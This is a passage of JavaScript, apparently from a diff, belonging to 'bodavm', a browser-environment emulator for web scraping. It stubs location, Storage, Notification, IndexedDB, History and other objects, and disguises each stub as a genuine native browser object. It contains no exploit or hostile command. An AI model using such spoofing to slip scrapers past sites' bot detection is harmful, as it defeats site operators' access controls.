{configurable:false, enumerable:true, get:function protocol (){return bodavm.toolsFunc.dispatch(this, location, "location", "protocol_get", arguments, 'http:')}, set:function protocol (){return bodavm.toolsFunc.dispatch(this, location, "location", "protocol_set", arguments)}}); - -bodavm.toolsFunc.defineProperty('location', "host", {configurable:false, enumerable:true, get:function host (){return bodavm.toolsFunc.dispatch(this, location, "location", "host_get", arguments, 'localhost:63342')}, set:function host (){return bodavm.toolsFunc.dispatch(this, location, "location", "host_set", arguments)}}); - -bodavm.toolsFunc.defineProperty('location', "hostname", {configurable:false, enumerable:true, get:function hostname (){return bodavm.toolsFunc.dispatch(this, location, "location", "hostname_get", arguments, 'localhost')}, set:function hostname (){return bodavm.toolsFunc.dispatch(this, location, "location", "hostname_set", arguments)}}); - -bodavm.toolsFunc.defineProperty('location', "port", {configurable:false, enumerable:true, get:function port (){return bodavm.toolsFunc.dispatch(this, location, "location", "port_get", arguments, '63342')}, set:function port (){return bodavm.toolsFunc.dispatch(this, location, "location", "port_set", arguments)}}); - -bodavm.toolsFunc.defineProperty('location', "pathname", {configurable:false, enumerable:true, get:function pathname (){return bodavm.toolsFunc.dispatch(this, location, "location", "pathname_get", arguments, '/%E7%88%AC%E8%99%AB/5s/test.html')}, set:function pathname (){return bodavm.toolsFunc.dispatch(this, location, "location", "pathname_set", arguments)}}); - -bodavm.toolsFunc.defineProperty('location', "search", {configurable:false, enumerable:true, get:function search (){return bodavm.toolsFunc.dispatch(this, location, "location", "search_get", arguments, '?_ijt=q7afj33h2bteshkjvmn3buhan8&_ij_reload=RELOAD_ON_SAVE')}, set:function search (){return bodavm.toolsFunc.dispatch(this, location, "location", "search_set", arguments)}}); - -bodavm.toolsFunc.defineProperty('location', "hash", {configurable:false, enumerable:true, get:function hash (){return bodavm.toolsFunc.dispatch(this, location, "location", "hash_get", arguments, '')}, set:function hash (){return bodavm.toolsFunc.dispatch(this, location, "location", "hash_set", arguments)}}); - -bodavm.toolsFunc.defineProperty('location', "assign", {configurable:false, enumerable:true, writable:false, value:function assign (){return bodavm.toolsFunc.dispatch(this, location, "location", "assign", arguments)}}); - -bodavm.toolsFunc.defineProperty('location', "reload", {configurable:false, enumerable:true, writable:false, value:function reload (){return bodavm.toolsFunc.dispatch(this, location, "location", "reload", arguments)}}); - -bodavm.toolsFunc.defineProperty('location', "replace", {configurable:false, enumerable:true, writable:false, value:function replace (){return bodavm.toolsFunc.dispatch(this, location, "location", "replace", arguments)}}); - -bodavm.toolsFunc.defineProperty('location', "toString", {configurable:false, enumerable:true, writable:false, value:function toString (){return bodavm.toolsFunc.dispatch(this, location, "location", "toString", arguments)}}); - - -// Storage对象 -bodavm.memory.globalobj['Storage'] = function Storage(){if (!(this instanceof Storage)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Storage'], "Storage"); -bodavm.toolsFunc.defineProperty('Storage', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Storage'].prototype, "Storage", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Storage', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Storage'].prototype, "Storage", "clear", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Storage', "getItem", {configurable:true, enumerable:true, writable:true, value:function getItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Storage'].prototype, "Storage", "getItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Storage', "key", {configurable:true, enumerable:true, writable:true, value:function key (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Storage'].prototype, "Storage", "key", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Storage', "removeItem", {configurable:true, enumerable:true, writable:true, value:function removeItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Storage'].prototype, "Storage", "removeItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Storage', "setItem", {configurable:true, enumerable:true, writable:true, value:function setItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Storage'].prototype, "Storage", "setItem", arguments)}},'prototype'); - -// CharacterData对象 -bodavm.memory.globalobj['CharacterData'] = function CharacterData(){if (!(this instanceof CharacterData)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CharacterData'], "CharacterData"); -bodavm.memory.globalobj['CharacterData'].prototype.__proto__=bodavm.memory.globalobj['Node'].prototype; -bodavm.memory.globalobj['CharacterData'].__proto__=bodavm.memory.globalobj['Node']; -bodavm.toolsFunc.defineProperty('CharacterData', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "data_get", arguments)}, set:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "data_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CharacterData', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CharacterData', "previousElementSibling", {configurable:true, enumerable:true, get:function previousElementSibling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "previousElementSibling_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CharacterData', "nextElementSibling", {configurable:true, enumerable:true, get:function nextElementSibling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "nextElementSibling_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CharacterData', "after", {configurable:true, enumerable:true, writable:true, value:function after (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "after", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CharacterData', "appendData", {configurable:true, enumerable:true, writable:true, value:function appendData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "appendData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CharacterData', "before", {configurable:true, enumerable:true, writable:true, value:function before (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "before", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CharacterData', "deleteData", {configurable:true, enumerable:true, writable:true, value:function deleteData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "deleteData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CharacterData', "insertData", {configurable:true, enumerable:true, writable:true, value:function insertData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "insertData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CharacterData', "remove", {configurable:true, enumerable:true, writable:true, value:function remove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "remove", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CharacterData', "replaceData", {configurable:true, enumerable:true, writable:true, value:function replaceData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "replaceData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CharacterData', "replaceWith", {configurable:true, enumerable:true, writable:true, value:function replaceWith (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "replaceWith", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CharacterData', "substringData", {configurable:true, enumerable:true, writable:true, value:function substringData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "substringData", arguments)}},'prototype'); - -// Text对象 -bodavm.memory.globalobj['Text'] = function Text(){this._boarg= new bodaobj.window.Text();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Text'], "Text"); -bodavm.memory.globalobj['Text'].prototype.__proto__=bodavm.memory.globalobj['CharacterData'].prototype; -bodavm.memory.globalobj['Text'].__proto__=bodavm.memory.globalobj['CharacterData']; -bodavm.toolsFunc.defineProperty('Text', "wholeText", {configurable:true, enumerable:true, get:function wholeText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Text'].prototype, "Text", "wholeText_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Text', "assignedSlot", {configurable:true, enumerable:true, get:function assignedSlot (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Text'].prototype, "Text", "assignedSlot_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Text', "splitText", {configurable:true, enumerable:true, writable:true, value:function splitText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Text'].prototype, "Text", "splitText", arguments)}},'prototype'); - - - -// BarProp对象 -bodavm.memory.globalobj['Database'] = function Database() { return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor") } -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Database'] , "Database"); -bodavm.toolsFunc.defineProperty('Database' , "version", { configurable: true, enumerable: true, get: function version() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Database'].prototype, "Database", "version", arguments) }, set: undefined },'prototype'); -bodavm.toolsFunc.defineProperty('Database' , "readTransaction", { configurable: true, enumerable: true, writable: true, value: function readTransaction() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Database'].prototype, "Database", "readTransaction", arguments) } },'prototype'); -bodavm.toolsFunc.defineProperty('Database' , "transaction", { configurable: true, enumerable: true, writable: true, value: function transaction() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Database'].prototype, "Database", "transaction", arguments) } },'prototype'); -bodavm.toolsFunc.defineProperty('Database' , "changeVersion", { configurable: true, enumerable: true, writable: true, value: function changeVersion() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Database'].prototype, "Database", "changeVersion", arguments) } },'prototype'); - -bodavm.memory.globalobj[ 'database'] = {} -bodavm.memory.globalobj[ 'database'] .__proto__ = bodavm.memory.globalobj['Database'] .prototype - - -// CloseEvent对象 -bodavm.memory.globalobj['CloseEvent'] = function CloseEvent(){if (!(this instanceof CloseEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CloseEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CloseEvent'], "CloseEvent"); -bodavm.memory.globalobj['CloseEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['CloseEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('CloseEvent', "wasClean", {configurable:true, enumerable:true, get:function wasClean (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CloseEvent'].prototype, "CloseEvent", "wasClean_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CloseEvent', "code", {configurable:true, enumerable:true, get:function code (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CloseEvent'].prototype, "CloseEvent", "code_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CloseEvent', "reason", {configurable:true, enumerable:true, get:function reason (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CloseEvent'].prototype, "CloseEvent", "reason_get", arguments)}, set:undefined},'prototype'); - -// Notification对象 -bodavm.memory.globalobj['Notification'] = function Notification(){if (!(this instanceof Notification)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Notification': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Notification'], "Notification"); -bodavm.memory.globalobj['Notification'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['Notification'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('Notification', "permission", {configurable:true, enumerable:true, get:function permission (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].undefined, "Notification", "permission_get", arguments, 'default')}, set:undefined}); -bodavm.toolsFunc.defineProperty('Notification', "maxActions", {configurable:true, enumerable:true, get:function maxActions (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].undefined, "Notification", "maxActions_get", arguments, 2)}, set:undefined}); -bodavm.toolsFunc.defineProperty('Notification', "requestPermission", {configurable:true, enumerable:true, writable:true, value:function requestPermission (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].undefined, "Notification", "requestPermission", arguments)}}); -bodavm.toolsFunc.defineProperty('Notification', "onclick", {configurable:true, enumerable:true, get:function onclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onclick_get", arguments)}, set:function onclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onclick_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "onshow", {configurable:true, enumerable:true, get:function onshow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onshow_get", arguments)}, set:function onshow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onshow_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "onclose", {configurable:true, enumerable:true, get:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onclose_get", arguments)}, set:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onclose_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "title", {configurable:true, enumerable:true, get:function title (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "title_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "dir", {configurable:true, enumerable:true, get:function dir (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "dir_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "lang", {configurable:true, enumerable:true, get:function lang (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "lang_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "body", {configurable:true, enumerable:true, get:function body (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "body_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "tag", {configurable:true, enumerable:true, get:function tag (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "tag_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "icon", {configurable:true, enumerable:true, get:function icon (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "icon_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "badge", {configurable:true, enumerable:true, get:function badge (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "badge_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "vibrate", {configurable:true, enumerable:true, get:function vibrate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "vibrate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "timestamp", {configurable:true, enumerable:true, get:function timestamp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "timestamp_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "renotify", {configurable:true, enumerable:true, get:function renotify (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "renotify_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "silent", {configurable:true, enumerable:true, get:function silent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "silent_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "requireInteraction", {configurable:true, enumerable:true, get:function requireInteraction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "requireInteraction_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "data_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "actions", {configurable:true, enumerable:true, get:function actions (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "actions_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "image", {configurable:true, enumerable:true, get:function image (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "image_get", arguments)}, set:undefined},'prototype'); - -// IDBDatabase对象 -bodavm.memory.globalobj['IDBDatabase'] = function IDBDatabase(){if (!(this instanceof IDBDatabase)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBDatabase'], "IDBDatabase"); -bodavm.memory.globalobj['IDBDatabase'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['IDBDatabase'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('IDBDatabase', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBDatabase', "version", {configurable:true, enumerable:true, get:function version (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "version_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBDatabase', "objectStoreNames", {configurable:true, enumerable:true, get:function objectStoreNames (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "objectStoreNames_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBDatabase', "onabort", {configurable:true, enumerable:true, get:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onabort_get", arguments)}, set:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onabort_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBDatabase', "onclose", {configurable:true, enumerable:true, get:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onclose_get", arguments)}, set:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onclose_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBDatabase', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBDatabase', "onversionchange", {configurable:true, enumerable:true, get:function onversionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onversionchange_get", arguments)}, set:function onversionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onversionchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBDatabase', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBDatabase', "createObjectStore", {configurable:true, enumerable:true, writable:true, value:function createObjectStore (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "createObjectStore", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBDatabase', "deleteObjectStore", {configurable:true, enumerable:true, writable:true, value:function deleteObjectStore (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "deleteObjectStore", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBDatabase', "transaction", {configurable:true, enumerable:true, writable:true, value:function transaction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "transaction", arguments)}},'prototype'); - -// IDBRequest对象 -bodavm.memory.globalobj['IDBRequest'] = function IDBRequest(){if (!(this instanceof IDBRequest)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBRequest'], "IDBRequest"); -bodavm.memory.globalobj['IDBRequest'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['IDBRequest'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('IDBRequest', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "result_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBRequest', "error", {configurable:true, enumerable:true, get:function error (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "error_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBRequest', "source", {configurable:true, enumerable:true, get:function source (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "source_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBRequest', "transaction", {configurable:true, enumerable:true, get:function transaction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "transaction_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBRequest', "readyState", {configurable:true, enumerable:true, get:function readyState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "readyState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBRequest', "onsuccess", {configurable:true, enumerable:true, get:function onsuccess (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "onsuccess_get", arguments)}, set:function onsuccess (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "onsuccess_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBRequest', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "onerror_set", arguments)}},'prototype'); - -// IDBOpenDBRequest对象 -bodavm.memory.globalobj['IDBOpenDBRequest'] = function IDBOpenDBRequest(){if (!(this instanceof IDBOpenDBRequest)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBOpenDBRequest'], "IDBOpenDBRequest"); -bodavm.memory.globalobj['IDBOpenDBRequest'].prototype.__proto__=bodavm.memory.globalobj['IDBRequest'].prototype; -bodavm.memory.globalobj['IDBOpenDBRequest'].__proto__=bodavm.memory.globalobj['IDBRequest']; -bodavm.toolsFunc.defineProperty('IDBOpenDBRequest', "onblocked", {configurable:true, enumerable:true, get:function onblocked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBOpenDBRequest'].prototype, "IDBOpenDBRequest", "onblocked_get", arguments)}, set:function onblocked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBOpenDBRequest'].prototype, "IDBOpenDBRequest", "onblocked_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBOpenDBRequest', "onupgradeneeded", {configurable:true, enumerable:true, get:function onupgradeneeded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBOpenDBRequest'].prototype, "IDBOpenDBRequest", "onupgradeneeded_get", arguments)}, set:function onupgradeneeded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBOpenDBRequest'].prototype, "IDBOpenDBRequest", "onupgradeneeded_set", arguments)}},'prototype'); - -// IDBFactory对象 -bodavm.memory.globalobj['IDBFactory'] = function IDBFactory(){if (!(this instanceof IDBFactory)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBFactory'], "IDBFactory"); -bodavm.toolsFunc.defineProperty('IDBFactory', "cmp", {configurable:true, enumerable:true, writable:true, value:function cmp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBFactory'].prototype, "IDBFactory", "cmp", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBFactory', "databases", {configurable:true, enumerable:true, writable:true, value:function databases (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBFactory'].prototype, "IDBFactory", "databases", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBFactory', "deleteDatabase", {configurable:true, enumerable:true, writable:true, value:function deleteDatabase (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBFactory'].prototype, "IDBFactory", "deleteDatabase", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBFactory', "open", {configurable:true, enumerable:true, writable:true, value:function open (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBFactory'].prototype, "IDBFactory", "open", arguments)}},'prototype'); - -// History对象 -bodavm.memory.globalobj['History'] = function History(){if (!(this instanceof History)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['History'], "History"); -bodavm.toolsFunc.defineProperty('History', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('History', "scrollRestoration", {configurable:true, enumerable:true, get:function scrollRestoration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "scrollRestoration_get", arguments)}, set:function scrollRestoration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "scrollRestoration_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('History', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "state_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('History', "back", {configurable:true, enumerable:true, writable:true, value:function back (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "back", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('History', "forward", {configurable:true, enumerable:true, writable:true, value:function forward (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "forward", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('History', "go", {configurable:true, enumerable:true, writable:true, value:function go (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "go", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('History', "pushState", {configurable:true, enumerable:true, writable:true, 